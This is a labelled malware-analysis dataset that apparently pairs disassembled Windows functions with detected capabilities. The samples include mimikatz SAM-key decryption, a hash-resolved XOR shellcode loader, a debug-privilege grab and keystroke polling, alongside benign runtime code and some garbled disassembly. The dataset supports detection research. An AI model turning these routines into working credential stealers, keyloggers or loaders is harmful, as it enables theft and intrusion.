joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140084454
Capabilities:
Set console window title

Disassembly:
sub rsp, 0x28
mov ecx, 1
call fcn.1400cec80
mov rcx, rax
call fcn.1400cf524
mov ecx, eax
mov edx, 0x40000
call fcn.1400cf324
mov ecx, 2
mov dword [0x140168558], eax
call fcn.1400cec80
mov rcx, rax
call fcn.1400cf524
mov ecx, eax
mov edx, 0x40000
call fcn.1400cf324
mov dword [0x140168550], eax
call qword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov ecx, 0xfde9
mov dword [0x140168554], eax
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
lea rcx, str.mimikatz_2.2.0_x64__oe.eo_
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov edx, 1
lea rcx, [0x140084570]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
lea rcx, str._n__..___mimikatz_2.2.0__x64__19041_Apr__4_2024_09:04:16_n_.__.___A_La_Vie__A_LAmour_____oe.eo__n_________Benjamin_DELPY__gentilkiwi____benjamin_gentilkiwi.com___n______________https:__blog.gentilkiwi.com_mimikatz_n__v________Vincent_LE_TOUX_______________vincent.letoux_gmail.com___n____________https:__pingcastle.com___https:__mysmartlogon.com___n
call fcn.14000bf10
mov ecx, 1
add rsp, 0x28
jmp fcn.140084584

Function at 0x1400844f0
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, ecx
xor ecx, ecx
call fcn.140084584
xor edx, edx
lea rcx, [0x140084570]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov ecx, 1
call fcn.1400cec80
mov rcx, rax
call fcn.1400cf524
mov edx, dword [0x140168558]
mov ecx, eax
call fcn.1400cf324
mov ecx, 2
call fcn.1400cec80
mov rcx, rax
call fcn.1400cf524
mov edx, dword [0x140168550]
mov ecx, eax
call fcn.1400cf324
mov ecx, dword [0x140168554]
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
xor ecx, ecx
cmp ebx, 0xc000004b
jne 0x140084569
call qword [sym.imp.KERNEL32.dll_ExitThread]
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x140084680
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov edi, 0xc0000001
test rcx, rcx
je 0x140084727
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ebp, eax
test eax, eax
je 0x140084727
mov edx, ebp
mov ecx, 0x40
add rdx, rdx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x1400846ed
mov r8d, ebp
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp ebp, eax
je 0x1400846f2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, rax
test rbx, rbx
je 0x140084727
cmp word [rbx], 0x21
je 0x140084713
cmp word [rbx], 0x2a
je 0x140084708
mov rcx, rbx
call fcn.140084740
jmp 0x14008471c
lea rcx, [rbx + 2]
call fcn.1400ab80c
jmp 0x14008471c
lea rcx, [rbx + 2]
call fcn.14009bb3c
mov rcx, rbx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14009d6d8
Capabilities:
Encrypt data using rc4 via systemfunction033

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rdi, rcx
mov qword [rbp - 0x49], r9
lea rax, [rbp + 0x1f]
xor esi, esi
lea rcx, str._nSAMKey_:
mov qword [rbp - 0x59], rax
mov r14, r9
mov r15, r8
mov rbx, rdx
lea r12d, [rsi + 0x10]
mov dword [rbp - 0x61], r12d
mov dword [rbp - 0x5d], r12d
mov dword [rbp - 0x51], r12d
mov dword [rbp - 0x4d], r12d
call fcn.14000bf10
and qword [rsp + 0x30], rsi
lea rax, [rbp - 0x69]
lea r9, [0x140131940]
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call fcn.14000f0c8
test eax, eax
je 0x14009d89a
mov rbx, qword [rbp - 0x69]
movzx edx, word [rbx]
mov ecx, edx
sub ecx, 2
je 0x14009d777
cmp ecx, 1
je 0x14009d777
lea rcx, str.ERROR_kuhl_m_lsadump_getSamKey___Unknow_F_revision___hu_
jmp 0x14009d78d
mov edx, dword [rbx + 0x68]
mov eax, edx
sub eax, 1
je 0x14009d7e9
cmp eax, 1
je 0x14009d797
lea rcx, str.ERROR_kuhl_m_lsadump_getSamKey___Unknow_Struct_Key_revision___u_
call fcn.14000bf10
jmp 0x14009d87d
mov r9d, dword [rbx + 0x74]
lea rax, [rbp + 0x7f]
mov qword [rsp + 0x28], rax
lea r8, [rbx + 0x88]
lea rax, [rbp - 0x69]
mov rcx, r15
lea rdx, [rbx + 0x78]
mov qword [rsp + 0x20], rax
call fcn.140004b44
test eax, eax
je 0x14009d87d
cmp dword [rbp + 0x7f], r12d
mov rcx, qword [rbp - 0x69]
sete sil
jne 0x14009d7de
movups xmm0, xmmword [rcx]
movdqu xmmword [r14], xmm0
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x14009d87d
lea rcx, [rbp - 0x39]
call qword [sym.imp.cryptdll.dll_MD5Init]
lea rdx, [rbx + 0x70]
mov r8d, r12d
lea rcx, [rbp - 0x39]
call qword [sym.imp.cryptdll.dll_MD5Update]
mov r8d, 0x2f
lea rdx, str.______qwertyUIOPAzxcvbnmQQQQQQQQQQQQ____
lea rcx, [rbp - 0x39]
call qword [sym.imp.cryptdll.dll_MD5Update]
mov r8d, r12d
lea rcx, [rbp - 0x39]
mov rdx, r15
call qword [sym.imp.cryptdll.dll_MD5Update]
mov r8d, reloc.WLDAP32.dll_Ordinal_41
lea rdx, str.0123456789012345678901234567890123456789
lea rcx, [rbp - 0x39]
call qword [sym.imp.cryptdll.dll_MD5Update]
lea rcx, [rbp - 0x39]
call qword [sym.imp.cryptdll.dll_MD5Final]
movups xmm0, xmmword [rbx + 0x80]
lea rdx, [rbp - 0x61]
lea rcx, [rbp - 0x51]
movdqu xmmword [r14], xmm0
call qword [sym.imp.ADVAPI32.dll_SystemFunction033]
mov esi, eax
not esi
shr esi, 0x1f
test esi, esi
jne 0x14009d87d
lea rcx, str.ERROR_kuhl_m_lsadump_getSamKey___RtlDecryptData2_KO
call fcn.14000bf10
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
test esi, esi
je 0x14009d8a6
xor r8d, r8d
mov edx, r12d
mov rcx, r14
call fcn.140012c58
jmp 0x14009d8a6
lea rcx, str.ERROR_kuhl_m_lsadump_getSamKey___kull_m_registry_OpenAndQueryWithAlloc_KO
call fcn.14000bf10
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.14000bf10
lea r11, [rsp + 0xe0]
mov eax, esi
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x14000127c
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x28], rax
and dword [rsp + 0x24], 0
lea rdx, [r11 - 0x18]
call fcn.1400010b0
mov rcx, qword gs:[0x60]
mov rdi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov r9, qword [rcx + 0x30]
movsxd rdx, dword [r9 + 0x3c]
mov r10d, dword [rdx + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x140001328
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140001328
mov ebx, dword [r10 + 0x20]
dec r11d
mov eax, r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
mov edx, 0x20873944
add r8, r9
mov al, byte [r8]
inc r8
test al, al
je 0x140001323
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [r8]
inc r8
test al, al
jne 0x140001306
cmp edx, 0xed1bd99c
je 0x14000132d
test r11d, r11d
jne 0x1400012e6
mov rcx, qword [rcx]
jmp 0x1400012c1
mov ecx, dword [r10 + 0x24]
mov ebp, 0x12
add rcx, r9
mov edx, ebp
movzx r8d, word [rcx + r11*2]
mov ecx, dword [r10 + 0x1c]
add rcx, r9
mov eax, dword [rcx + r8*4]
mov r8d, 0x3000
add rax, r9
xor ecx, ecx
lea r9d, [rbp - 0xe]
call rax
mov r8d, ebp
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call qword [sym.imp.VCRUNTIME140.dll_memmove]
lea r9, [rsp + 0x24]
mov edx, ebp
lea r8d, [rbp + 0x2e]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, 0xcb4a081
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rdi, rbx
mov esi, ebp
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x38e38e39
imul r8d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*8]
add ecx, ecx
sub r8d, ecx
inc r8b
xor r8b, byte [rdi]
xor r8b, 0x81
mov byte [rdi], r8b
inc rdi
sub rsi, 1
jne 0x140001392
call rbx
mov r8d, 0x8000
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400017b0
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x1400342c8
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x14004c350], eax
call fcn.140034d70
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x14004c350], 0
jne case.default.0x14003431e
mov ecx, 1
call fcn.140034d70
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
mov dh, 0xd
jb 0x140083cfd
push rdx
sbb al, 0xbe
fstp xword [rdx + 0x79]
pop rsi
mov dh, 0xd3
invalid
cmp eax, 0x7c0464
std
mov ch, bh
cmpsd dword [rsi], dword [rdi]
sbb al, 0x89
cmpsd dword [rsi], dword [rdi]
dec byte [rbx + 0x17fd95e9]
invalid
Function at 0x14001c2b3
Capabilities:
Acquire debug privileges

Disassembly:
push rbp
push r15
xor rax, rax
push rax
push rax
push rax
push rax
push rax
push rax
sub rsp, 0x28
mov dword [0x1400ab001], 0x50
mov dword [0x1400ab001], 0x51
mov byte [rsp + 0x28], 0
mov dword [0x1400ab001], 0x53
lea rax, [rsp + 0x30]
mov rax, rax
push rax
push 0x28
sub rsp, 0x20
call sub.KERNEL32.dll_GetCurrentProcess
add rsp, 0x20
mov rax, rax
push rax
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.DLL_OpenProcessToken
and rax, rax
je 0x14001c43e
mov dword [0x1400ab001], 0x54
lea rax, [rsp + 0x38]
mov dword [0x1400ab001], 0x56
lea rax, [rsp + 0x38]
mov rax, rax
push rax
movabs rax, str.SeDebugPrivilege
push rax
push 0
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.DLL_LookupPrivilegeValueA
and rax, rax
je 0x14001c420
mov dword [0x1400ab001], 0x57
lea rax, [rsp + 0x40]
mov dword [0x1400ab001], 0x5a
lea rbp, [rsp + 0x40]
mov dword [rbp], 1
mov dword [0x1400ab001], 0x5b
lea rbp, [rsp + 0x38]
movsxd rax, dword [rbp]
push rax
lea rbp, [rsp + 0x48]
push rbp
pop rbp
pop rax
mov dword [rbp + 4], eax
mov dword [0x1400ab001], 0x5c
lea rbp, [rsp + 0x38]
movsxd rax, dword [rbp + 4]
push rax
lea rbp, [rsp + 0x48]
push rbp
pop rbp
pop rax
mov dword [rbp + 8], eax
mov dword [0x1400ab001], 0x5d
push rbp
pop rbp
mov dword [rbp + 0xc], 2
mov dword [0x1400ab001], 0x5f
lea rax, [rsp + 0x50]
mov rax, rax
push rax
lea rax, [rsp + 0x50]
mov rax, rax
push rax
push 4
lea rax, [rsp + 0x58]
mov rax, rax
push rax
push 0
push qword [rsp + 0x58]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call sub.ADVAPI32.DLL_AdjustTokenPrivileges
add rsp, 0x30
mov rax, rax
push rax
pop rax
mov byte [rsp + 0x28], al
mov dword [0x1400ab001], 0x60
mov dword [0x1400ab001], 0x61
push qword [rsp + 0x30]
pop rcx
call sub.KERNEL32.dll_CloseHandle
mov dword [0x1400ab001], 0x62
mov dword [0x1400ab001], 0x63
movsx rax, byte [rsp + 0x28]
movsx rax, al
jmp 0x14001c46b
add rsp, 0x58
pop r15
pop rbp
ret

Function at 0x14001d285
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rcx
push r15
xor rax, rax
push rax
sub rsp, 0x28
mov dword [0x1400ab001], 0x100002b
mov dword [0x1400ab001], 0x100002c
push qword [rsp + 0x40]
pop rcx
call sub.USER32.DLL_GetAsyncKeyState
mov r15, rax
and r15, 0x8000
and r15, r15
je 0x14001d2d4
mov dword [0x1400ab001], 0x100002d
mov rax, 1
jmp 0x14001d2eb
mov dword [0x1400ab001], 0x100002e
mov dword [0x1400ab001], 0x100002f
xor rax, rax
add rsp, 0x30
pop r15
ret

Function at 0x140023368
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
mov ecx, dword [0x1400f9c00]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
jne 0x1400233c2
mov r8, qword [0x1400ab195]
mov rcx, qword [0x1400f8d28]
lea edx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x1400f9c00]
mov rdx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rcx, rbx
call fcn.1400220c7
lea rcx, [0x140023340]
mov rdx, rbx
call fcn.14002363c
mov rax, rbx
add rsp, 0x20
pop rbx
ret
Function at 0x1400233cc
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x1400f9c00], eax
add rsp, 0x28
jmp fcn.140023368
Function at 0x1400252fc
Capabilities:
Get file size
Read file on windows

Disassembly:
xor r8d, r8d
jmp 0x140025304
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov rbx, rdx
xor edi, edi
mov r14d, r8d
mov qword [rax - 0x28], rdi
mov r15, rcx
mov dword [rax - 0x30], 0x80
lea r8d, [rdi + 1]
xor r9d, r9d
mov edx, 0x80000000
mov rcx, rbx
mov dword [rax - 0x38], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x140025441
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
movsxd rsi, eax
test r14b, 1
je 0x1400253e2
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.140025fa4
mov rsi, rax
test rax, rax
je 0x140025438
mov rcx, qword [0x1400f9cf0]
mov rdx, r15
call fcn.14003d238
mov r15d, 0x10000
mov rcx, rsi
mov dword [rax + 0x28], r15d
mov r14, rax
call fcn.140025f6c
mov rcx, rsi
mov rbx, rax
call fcn.140025f44
mov r8d, r15d
mov edx, ebx
mov rcx, rax
call fcn.140025c7c
mov qword [r14], rax
test rax, rax
je 0x1400253d8
mov qword [r14 + 0x20], rsi
mov rdi, r14
jmp 0x140025438
mov rcx, rsi
call fcn.140025f3c
jmp 0x140025438
mov rcx, qword [0x1400f8d28]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x140025438
lea r9, [rsp + 0x78]
mov r8d, esi
mov rdx, rax
mov rcx, rbp
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r8d, esi
mov rdx, rbx
mov rcx, r15
call fcn.1400257f8
mov rcx, qword [0x1400f8d28]
mov r8, rbx
xor edx, edx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rax, rdi
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
Function at 0x140025304
Capabilities:
Get file size
Read file on windows

Disassembly:
xor r8d, r8d
jmp 0x140025304
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov rbx, rdx
xor edi, edi
mov r14d, r8d
mov qword [rax - 0x28], rdi
mov r15, rcx
mov dword [rax - 0x30], 0x80
lea r8d, [rdi + 1]
xor r9d, r9d
mov edx, 0x80000000
mov rcx, rbx
mov dword [rax - 0x38], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x140025441
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
movsxd rsi, eax
test r14b, 1
je 0x1400253e2
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.140025fa4
mov rsi, rax
test rax, rax
je 0x140025438
mov rcx, qword [0x1400f9cf0]
mov rdx, r15
call fcn.14003d238
mov r15d, 0x10000
mov rcx, rsi
mov dword [rax + 0x28], r15d
mov r14, rax
call fcn.140025f6c
mov rcx, rsi
mov rbx, rax
call fcn.140025f44
mov r8d, r15d
mov edx, ebx
mov rcx, rax
call fcn.140025c7c
mov qword [r14], rax
test rax, rax
je 0x1400253d8
mov qword [r14 + 0x20], rsi
mov rdi, r14
jmp 0x140025438
mov rcx, rsi
call fcn.140025f3c
jmp 0x140025438
mov rcx, qword [0x1400f8d28]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x140025438
lea r9, [rsp + 0x78]
mov r8d, esi
mov rdx, rax
mov rcx, rbp
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r8d, esi
mov rdx, rbx
mov rcx, r15
call fcn.1400257f8
mov rcx, qword [0x1400f8d28]
mov r8, rbx
xor edx, edx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rax, rdi
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
Function at 0x140025518
Capabilities:
Create thread

Disassembly:
or r8d, 0xffffffff
xor edx, edx
jmp 0x140025518
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov r12d, edx
mov r15, rcx
mov rdx, rcx
mov rcx, qword [0x1400f9cf0]
mov esi, r8d
xor r14d, r14d
call fcn.14003d20c
mov rbx, rax
test rax, rax
je 0x1400256fd
mov rcx, qword [rax]
mov qword [rsp + 0x30], rcx
cmp qword [rax + 0x20], r14
je 0x1400255fe
mov rcx, r15
call fcn.140025d04
jmp 0x14002557c
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [rbx + 0x2d], r14b
jne 0x140025571
mov rcx, qword [rbx + 0x20]
call fcn.140025f9c
mov edi, 1
xor edx, edx
mov rcx, rbx
mov dword [rbx + 0x30], r12d
mov byte [rbx + 0x2c], dil
call fcn.140025460
lea rax, [rsp + 0x88]
lea r8, [0x140025718]
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], r14d
mov r9, rbx
mov edx, 0x2000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x1400255d9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0xffffffff
je 0x1400255e8
mov edx, esi
mov rcx, r15
call fcn.140025e0c
mov rcx, qword [rbx]
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x68]
mov rcx, qword [rbx]
mov r9d, edi
jmp 0x1400256a9
mov edi, 1
mov ebp, r14d
test dil, r12b
cmovne ebp, edi
test r12b, 2
je 0x1400256b6
mov rcx, rax
call fcn.140025bd8
lea rcx, [rbx + 8]
lea edx, [rdi + 0x1f]
call fcn.14003dbd0
mov rcx, qword [0x1400f9e18]
mov rdx, qword [rsp + 0x30]
mov r9, qword [rcx]
lea r8, [rsp + 0x30]
mov r14, rax
call qword [r9 + 0x28]
test eax, eax
jne 0x1400256fd
mov rcx, qword [rsp + 0x30]
mov byte [r14 + 9], bpl
mov byte [r14 + 8], dil
mov qword [r14], rcx
mov rcx, qword [rsp + 0x30]
mov edx, dword [rbx + 0x14]
mov rax, qword [rcx]
call qword [rax + 0x88]
mov rcx, qword [rsp + 0x30]
mov edx, dword [rbx + 0x10]
mov rax, qword [rcx]
call qword [rax + pe_nt_image_headers64]
cmp esi, 0xffffffff
je 0x140025693
mov r8, r14
mov edx, esi
mov rcx, r15
call fcn.140025e14
jmp 0x1400256a1
mov rcx, qword [rsp + 0x30]
mov edx, dword [rbx + 0x18]
mov rax, qword [rcx]
call qword [rax + 0x78]
mov rcx, qword [rsp + 0x30]
mov r9d, ebp
mov rax, qword [rcx]
xor r8d, r8d
xor edx, edx
call qword [rax + 0x60]
jmp 0x1400256fd
mov rax, qword [rcx]
call qword [rax + 0x90]
mov rcx, qword [rsp + 0x30]
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x68]
cmp esi, 0xffffffff
je 0x1400256db
mov edx, esi
mov rcx, r15
call fcn.140025e0c
mov rcx, qword [rsp + 0x30]
mov r9d, ebp
xor r8d, r8d
mov rax, qword [rcx]
xor edx, edx
call qword [rax + 0x60]
test eax, eax
jne 0x1400256fd
mov r14, rdi
mov byte [rbx + 0x2c], dil
mov byte [rbx + 0x2e], bpl
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rax, r14
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x140026244
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
test ecx, ecx
je 0x1400262bb
movsxd rdx, ecx
lea rcx, [0x1400261a0]
call qword [sym.imp.USER32.DLL_EnumWindows]
mov rbx, qword [0x1400f9d00]
test rbx, rbx
je 0x14002632e
mov rdi, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbx + 0x10], eax
jne 0x1400262b1
cmp byte [rbx + 0x20], 0
je 0x1400262b1
mov rcx, qword [rbx + 0x18]
xor r9d, r9d
mov dword [rsp + 0x30], 3
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea rdx, [r9 - 2]
xor r8d, r8d
call qword [sym.imp.USER32.DLL_SetWindowPos]
mov rbx, rdi
test rdi, rdi
jne 0x140026277
jmp 0x14002632e
mov rbx, qword [0x1400f9d00]
test rbx, rbx
je 0x14002632e
mov rdi, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbx + 0x10], eax
jne 0x140026326
cmp byte [rbx + 0x21], 0
je 0x1400262ea
mov rcx, qword [rbx + 0x18]
mov edx, 1
call qword [sym.imp.USER32.DLL_EnableWindow]
cmp byte [rbx + 0x20], 0
je 0x140026316
mov rcx, qword [rbx + 0x18]
mov dword [rsp + 0x30], 3
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
or rdx, 0xffffffffffffffff
call qword [sym.imp.USER32.DLL_SetWindowPos]
lea rdx, [rbx + 0x10]
lea rcx, [0x1400f9d00]
call fcn.14003dc14
mov rbx, rdi
test rdi, rdi
jne 0x1400262c7
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x14002a2f4
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov ebx, edx
mov rdx, rcx
mov rcx, qword [0x1400faf90]
call fcn.14003d20c
mov rsi, rax
test rax, rax
je 0x14002a36d
mov rcx, qword [rax + 8]
mov rax, qword [rcx + 0x28]
test rax, rax
je 0x14002a332
mov edx, ebx
mov rcx, rsi
call rax
jmp 0x14002a36d
mov rcx, qword [rsi]
call qword [sym.imp.USER32.DLL_GetWindowTextLengthA]
mov edx, ebx
mov ecx, eax
mov edi, eax
call fcn.14003e030
lea r8d, [rdi + 1]
mov byte [rax], 0
mov rcx, qword [rsi]
mov rdx, rax
mov rbx, rax
call qword [sym.imp.USER32.DLL_GetWindowTextA]
mov rcx, rbx
call sub.msvcrt.dll_strlen
sub edi, eax
mov ecx, edi
call fcn.14003e0e0
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14002f970
Capabilities:
Check os version

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x188]
sub rsp, 0x280
lea rcx, [rsp + 0x20]
mov ebx, 0xc8
xor r14d, r14d
xor edi, edi
mov dword [rsp + 0x20], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x14002fb3b
mov eax, dword [rsp + 0x30]
dec eax
je 0x14002fb18
dec eax
jne 0x14002fb3b
lea r8d, [rbx + 0x54]
lea rcx, [rbp - 0x40]
xor edx, edx
xor esi, esi
call sub.msvcrt.dll_memset
lea rcx, [0x14009cb80]
mov dword [rbp - 0x40], 0x11c
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002fa19
lea rdx, str.RtlGetVersion
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14002fa19
lea rcx, [rbp - 0x40]
call rax
xor ecx, ecx
test eax, eax
sete cl
jmp 0x14002fa1b
xor ecx, ecx
test ecx, ecx
je 0x14002fa37
mov r14d, dword [rbp - 0x3c]
mov edi, dword [rbp - 0x38]
mov eax, 1
cmp byte [rbp + 0xda], al
jne 0x14002fa69
mov esi, eax
jmp 0x14002fa69
lea rcx, [rbp + 0xe0]
mov dword [rbp + 0xe0], 0x9c
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x14002fa69
mov r14d, dword [rsp + 0x24]
mov edi, dword [rsp + 0x28]
mov eax, 1
cmp byte [rbp + 0x17a], al
cmove esi, eax
sub r14d, 3
je 0x14002fb11
dec r14d
je 0x14002fb0a
dec r14d
je 0x14002fae4
dec r14d
je 0x14002faa0
cmp r14d, 4
jne 0x14002fb3b
test edi, edi
jne 0x14002fb3b
lea ebx, [rdi + 0x6e]
jmp 0x14002fb3b
test edi, edi
je 0x14002fad8
dec edi
je 0x14002facc
dec edi
je 0x14002fac0
dec edi
jne 0x14002fb3b
neg esi
sbb ebx, ebx
and ebx, 0xfffffffb
add ebx, 0x69
jmp 0x14002fb3b
neg esi
sbb ebx, ebx
and ebx, 0xfffffffb
add ebx, 0x5f
jmp 0x14002fb3b
neg esi
sbb ebx, ebx
and ebx, 0xfffffffb
add ebx, 0x55
jmp 0x14002fb3b
neg esi
sbb ebx, ebx
and ebx, 0xfffffffb
add ebx, 0x4b
jmp 0x14002fb3b
test edi, edi
je 0x14002fb03
dec edi
je 0x14002fafc
dec edi
jne 0x14002fb3b
neg esi
sbb ebx, ebx
and ebx, 0xfffffffb
add ebx, 0x41
jmp 0x14002fb3b
mov ebx, 0x3c
jmp 0x14002fb3b
mov ebx, 0x32
jmp 0x14002fb3b
mov ebx, 0x14
jmp 0x14002fb3b
mov ebx, 5
jmp 0x14002fb3b
mov eax, dword [rsp + 0x28]
test eax, eax
je 0x14002fb36
cmp eax, 0xa
je 0x14002fb2f
cmp eax, 0x5a
jne 0x14002fb3b
lea ebx, [rax - 0x32]
jmp 0x14002fb3b
